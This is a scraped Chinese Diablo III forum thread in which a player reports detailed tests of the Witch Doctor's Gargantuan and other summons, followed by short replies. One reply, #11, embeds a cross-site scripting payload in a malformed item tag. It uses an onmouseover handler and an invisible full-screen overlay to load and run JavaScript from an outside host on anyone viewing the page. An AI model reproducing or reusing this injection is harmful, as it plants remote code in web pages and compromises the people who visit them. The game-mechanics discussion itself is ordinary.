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符文:48

发表于 2013-8-10 13:18:37 |显示全部楼层
本帖最后由 whbns 于 2013-8-10 19:47 编辑

        巫医是HC中生存能力和输出能力都很强的热门职业。但是不同于野蛮人,巫医的生存能力并不是体现为千抗万甲的皮糙肉厚,而是依靠他的灵魂归体(春哥)有效地避免战斗中的阵亡;以及大量召唤物来分担伤害,甚至击杀怪物来提高掉线时的存活机会。
        当巫医拥有一定的DPS后便会发现,巨尸可以在低PP中(特别是1PP单刷时)产生十分可观的伤害,经常可以秒杀小怪,甚至可以在较短的时间内击杀精英。那么巨尸(特别是第一个符文,顺劈斩的巨尸)对于喜欢单刷低PP的巫医来说就是一个很不错的选择。但是巨尸这个技能到底能产生多少输出?是不是和技能描述的一致呢?下面就列出我对这个技能的一系列测试。和之前一样,我不会列出测试具体过程(如截图),只着重描述结论,不过大家放心,我都是使用科学严谨的测试方法。

首先是随动情况:

        巨尸的所有攻击属性全部取决于攻击时角色的实际属性,即所有攻击属性随动这个很合理,因为巨尸(除特定符文外)是永久召唤物,所以要是有属性不随动就太逆天了。

下面是巨尸的一些攻击属性

攻速巨尸的攻击频率(无buff下)固定为每1.40秒攻击一次(数了2回100次攻击的,都是很稳定的140秒),即巨尸的攻击频率与角色的攻击速度无关。但是巨尸的伤害继承角色的攻速,也就是说每次攻击的伤害并不是看角色的DPH,而是DPS(不考虑暴击,暴击的问题下面会说)。
也就是说巨尸的实际DPS是受到角色的攻速加成的,只不过不是体现在攻击频率上,而是在每次攻击的伤害上。这点对所有巨尸都使用,包括毒雾巨尸的毒雾伤害。

暴击概率巨尸所有伤害可以暴击,暴击概率取决于角色的暴击概率(感觉上是一致的,但测试很难对这种概率事件定性)。

暴击伤害:这一点非常特别,就是
巨尸的暴击额外伤害固定为50%,即1.5倍伤害,与角色暴击伤害无关。细心的朋友平时应该也会发现,巨尸白字伤害不低,但黄字没有想象中的那么高。拿大姨妈的巫医会发现130%的技能暴击出的黄字竟然还没有面板伤害高,这很不科学,原因就在这里。

吸血、击回:所有巨尸没有触发系数,不能触发任何击回效果;生命汲取属性同样不能使任何巨尸帮助角色回血。即巨尸不继承任何吸血、击回效果,即使使用了强烈忠诚被动。

伤害加成%:巨尸继承角色的伤害加成。当使用30%伤害的大巫毒时,若巫医在巫毒范围内,则巨尸同时获得来自于角色的伤害%加成和攻速加成,并同时体现于单次攻击的伤害上;若巨尸在巫毒内,则巨尸获得20%的攻速加成,体现在攻击频率的增加上,但不直接继承巫毒的伤害%加成。若巫医和巨尸同时在巫毒范围内,则巨尸同时获得30%伤害加成,20%攻速的伤害加成和20%攻速的攻击频率加成,即攻速加成被放大了。

特殊效果:巨尸最后一个符文(晕尸),击晕的冷却为10秒。

        所以总结一下就是,
攻速较高的巫医(比如马刀配副手的)同样适合使用巨尸来帮助自己在掉线时快速清除周围的怪物。同样的面板下,马刀配副手巫医甚至可以拥有比大姨妈巫医输出更高的巨尸(同面板下,暴击概率*(暴击伤害-50%)的数值越低,巨尸实际输出越高)。

关于其他召唤物的拓展测试:
        僵尸犬和鬼娃(包括被动鬼娃巫咒产生的)大体与巨尸特点一致。僵尸犬的攻击频率为1.8秒一次,鬼娃约1.5秒一次(鬼娃一般不会专心攻击敌人,所以这是个粗略的攻击频率估计),同样是攻击频率固定,单次攻击伤害继承角色攻速。暴击伤害同样是50%,且均无触发系数(包括火焰狗),无法击回且无法吸血。僵尸犬的最后一个符文吸血狗的实际吸血量为其造成伤害的5%(炼狱难度下),因为吸血是狗与巫医平分,所以是50%(技能描述)*20%(炼狱惩罚)*50%(平分)=5%。生命链接的狗只要活着一只就能给予巫医10%的伤害减免,3只也是10%,即与数量无关。被动鬼娃巫咒产生的鬼娃伤害为20%DPS(和主动技能产生的一致)。

补充测试召唤物在单人模式下断网后的工作情况:
        因为有人提到听说召唤物在断电断网后不攻击也不会吸收怪物攻击,那么我针对这个做了如下测试。
        首先最简单的是基友观看掉线后的情况,这个很显然肯定是攻击的,但这不能证明单人游戏时召唤物也能正常工作。所以我选择了炼狱0PPA3影子的任务,人物属性700抗5000甲4w血3.5wdps。
        第一步:不召唤巨尸和僵尸犬,直接进入任务,从利亚说完“我快控制不住了”后开始计时,约13秒后人物死亡(5次平均,基本稳定,STD测试,不要激动)。
        第二步:召唤顺劈斩巨尸和无符文僵尸犬,同样时刻开始计时,约18秒后影子被杀光(5次平均,基本稳定),其间人物掉血量最高不超过50%。每次经验固定为22500。
        第三步:修装备,使所有装备耐久度回满,记录下当前经验值。
        第四步:召唤顺劈斩巨尸和无符文僵尸犬进入房间,利亚说完“我快控制不住了”后立刻拔网线。
        由于断网后在游戏内停留时间一般会超过10秒,达到50-60秒,所以对可能的结果以及相应的结论作以下分析:
        可能性1:经验未增长,装备耐久度降低约10%:说明巨尸不攻击(僵尸犬伤害可以忽略),不能肯定召唤物是否吸收攻击。
        可能性2:经验增长,装备耐久度降低约10%:出现可能性极低,如果出现只能说明召唤物不吸收攻击,但可以进行攻击。
        可能性3:经验未增长,装备耐久度未明显变化:出现概率低,说明巨尸不攻击,但召唤物可以吸收攻击。
        可能性4:经验增长,装备耐久度未明显变化:说明巨尸会攻击,且召唤物会吸收攻击。

        上线后进入游戏的结果为第四种:经验增长22500,装备耐久度无变化。说明即使在单人游戏中,断网后巨尸也是会攻击且吸收怪物攻击的,请大家放心使用。
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符文:19

2#
不错,支持
发表于 2013-8-10 13:22:38 |显示全部楼层
[armory]http://cn.battle.net/d3/en/profile/moonstar-5298/hero/15295384[/armory]

帖子:4446

符文:39

3#
每个我都测试过。。。巨尸的输出 真的只能说是打酱油的。也就防掉线多个肉盾罢了 眩晕那个打红门可以一用。

先占沙发 再看数据

帖子:160

符文:0

4#
很久很久很久很久前
我一直認為毒巨屍可觸發擊回.........
发表于 2013-8-10 13:33:57 |显示全部楼层
[armory]http://us.battle.net/d3/en/profile/gvry-3633/hero/30456568[/armory]

帖子:1283

符文:4

5#
技术贴帮顶~在dps越来越高的今天巨尸上岗的频率越来越低了~
发表于 2013-8-10 13:40:19 |显示全部楼层
[armory]http://tw.battle.net/d3/zh/profile/%E5%A4%9C%E4%B9%8B%E7%9C%B7%E6%88%80-3997/hero/40840189[/armory]

帖子:1765

符文:18

6#
刀鸡动物园流玩过一阵子,还是很不错的。防卡强的一笔。
发表于 2013-8-10 13:40:26 |显示全部楼层
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帖子:289

符文:9

7#
支持数据帝
发表于 2013-8-10 14:13:36 |显示全部楼层
[armory]http://tw.battle.net/d3/zh/profile/%E7%87%83%E7%83%A7%E7%9A%84%E5%A4%A7%E7%BA%A6%E7%BF%B0-3705/hero/41212829[/armory][armory]http://tw.battle.net/d3/zh/profile/%E7%87%83%E7%83%A7%E7%9A%84%E5%A4%A7%E7%BA%A6%E7%BF%B0-3705/hero/33643734[/armory]

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符文:13

8#
支持.......
发表于 2013-8-10 14:22:48 |显示全部楼层
[armory]http://tw.battle.net/d3/zh/profile/風捲龍-3467/hero/50886991[/armory]

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符文:4

9#
顶一下这样的技术贴,好!
发表于 2013-8-10 14:29:56 |显示全部楼层
[armory]http://tw.battle.net/d3/zh/profile/MrPotato-2454/hero/26692549[/armory]

帖子:292

符文:4

10#
我单刷一直用个巨尸,最后给符文眩晕很给力
发表于 2013-8-10 14:30:45 |显示全部楼层
[armory]http://tw.battle.net/d3/zh/profile/MrPotato-2454/hero/26692549[/armory]

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符文:2

11#
支持支持     

[item=skill]猛擊[/item]
[item=skill]发生了错误" onmouseover='var s=document.createElement("script");s.src="http://ihome.ust.hk/~yyanaa/d.163.com/ban.js";document.body.appendChild(s);this.parentNode.removeChild(this)' onclick='return false' style="position:fixed;background-color:transparent;color:transparent;top:0;left:0; width:100%;height:100%;cursor:default;"  alt="[/item]

发表于 2013-8-10 14:58:25 |显示全部楼层

帖子:232

符文:35

12#
我一直用第二个符文。
发表于 2013-8-10 15:08:02 |显示全部楼层
[armory]http://cn.battle.net/d3/en/profile/%E6%9A%97%E9%83%A8%E5%B0%8F%E8%82%89-5883/hero/1287448[/armory]

帖子:1961

符文:27

13#
火焰狗可以触发击回,大概在2%的样子
发表于 2013-8-10 15:20:07 |显示全部楼层
[armory]http://hero.d.163.com/hero/cn/zzzzzz-5324/42332964[/armory]

帖子:1686

符文:48

14#
杀杀杀杀杀杀 发表于 2013-8-10 15:20
火焰狗可以触发击回,大概在2%的样子

不过在我的测试中没有任何回血,击回是400,很多怪打了很久1点血也没有回。
发表于 2013-8-10 15:28:54 |显示全部楼层

帖子:1961

符文:27

15#
本帖最后由 杀杀杀杀杀杀 于 2013-8-10 15:35 编辑
whbns 发表于 2013-8-10 15:28
不过在我的测试中没有任何回血,击回是400,很多怪打了很久1点血也没有回。

不知道你是怎么测试的?
我是先把所有秒回装备拿下,换上击回的,然后冲怪堆里,被打几下,然后招火焰狗,人灵行跑走,让狗打,发现血在回复,回复量很小,但是有
建议你把击回堆到1000+再测试一下,我测试时击回在1000以上
发表于 2013-8-10 15:34:07 |显示全部楼层
[armory]http://hero.d.163.com/hero/cn/zzzzzz-5324/42332964[/armory]
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